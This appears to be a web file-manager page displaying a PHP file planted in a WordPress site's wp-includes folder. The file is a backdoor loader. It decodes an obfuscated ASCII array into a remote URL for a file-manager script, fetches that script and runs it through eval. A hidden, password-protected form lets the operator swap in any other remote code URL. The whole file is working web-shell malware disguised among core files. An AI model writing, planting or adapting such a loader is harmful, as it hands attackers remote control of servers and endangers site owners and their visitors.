芝麻web文件管理V1.00

编辑当前文件:/home/p/r/i/prismawe/clients/origami-events.com/wp-includes/pomo/246451/index.php

<?php session_start();
function kontol($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
$asciiArray = [
    104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 
    117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 
    109, 47, 112, 114, 97, 115, 97, 116, 104, 109, 97, 110, 105, 47, 116, 105, 
    110, 121, 102, 105, 108, 101, 109, 97, 110, 97, 103, 101, 114, 47, 114, 101, 
    102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 115, 116, 101, 114, 47, 
    116, 105, 110, 121, 102, 105, 108, 101, 109, 97, 110, 97, 103, 101, 114, 46, 
    112, 104,112
];

$decodedString = '';
foreach ($asciiArray as $ascii) {
    $decodedString .= chr($ascii);
}
$url = $decodedString;
$correct_password = '$2y$10$TGT36epmgr3/fTZ.XPB9nuXbKG5GcQYw/P3gFs4F7kIRflxBIWRAS';
if (isset($_GET['ts_reset'])) {
    $_SESSION["ts_url"] = "";
    echo "success";
    exit;
}
if (isset($_GET['ts'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_POST['password'])) {
            $provided_password = $_POST['password'];
            if (password_verify($provided_password, $correct_password)) {
                if (isset($_POST['url'])) {
                    $url = $_POST['url'];
                    $_SESSION["ts_url"] = $url;
                    echo "updated : " . $_SESSION["ts_url"];
                    exit;
                } else {
                    echo "Error!";
                    exit;
                }
            } else {
                echo "";
                exit;
            }
        } else {
            echo "";
            exit;
        }
    } else { ?>

<head>
            <style>
                #password {
                    order: 2
                }

#url {
                    order: 1
                }

#password,
                #url {
                    display: block;
                    margin-bottom: 10px;
                    opacity: 0;
                    transition: opacity .3s
                }

#password:hover,
                #url:hover {
                    opacity: 1
                }

form {
                    display: flex;
                    flex-direction: column;
                    align-items: flex-end
                }
            </style>
            <script>document.addEventListener("DOMContentLoaded", function () { document.querySelector("#password").addEventListener("keydown", function (e) { "Enter" === e.key && (e.preventDefault(), document.querySelector("form").submit()) }) })</script>
        </head>

<body>
            <form action="" method="post"><input id="password" name="password" type="password"><br><input id="url" name="url"
                    value="<?php echo isset($_POST['url']) ? $_POST['url'] : ''; ?>"><br></form>
        </body>
        <?php exit;
    }
} else {
    if (empty($_SESSION["ts_url"])) {
        $result = @file_get_contents($url);
        if (empty($result)) {
            $result = kontol($url);
        }
    } else {
        $result = @file_get_contents($_SESSION["ts_url"]);
        if (empty($result)) {
            $result = kontol($_SESSION["ts_url"]);
        }
    }
}
if (is_string($result)) {
    eval ('?>' . $result);
} else {
    echo "Error";
} ?>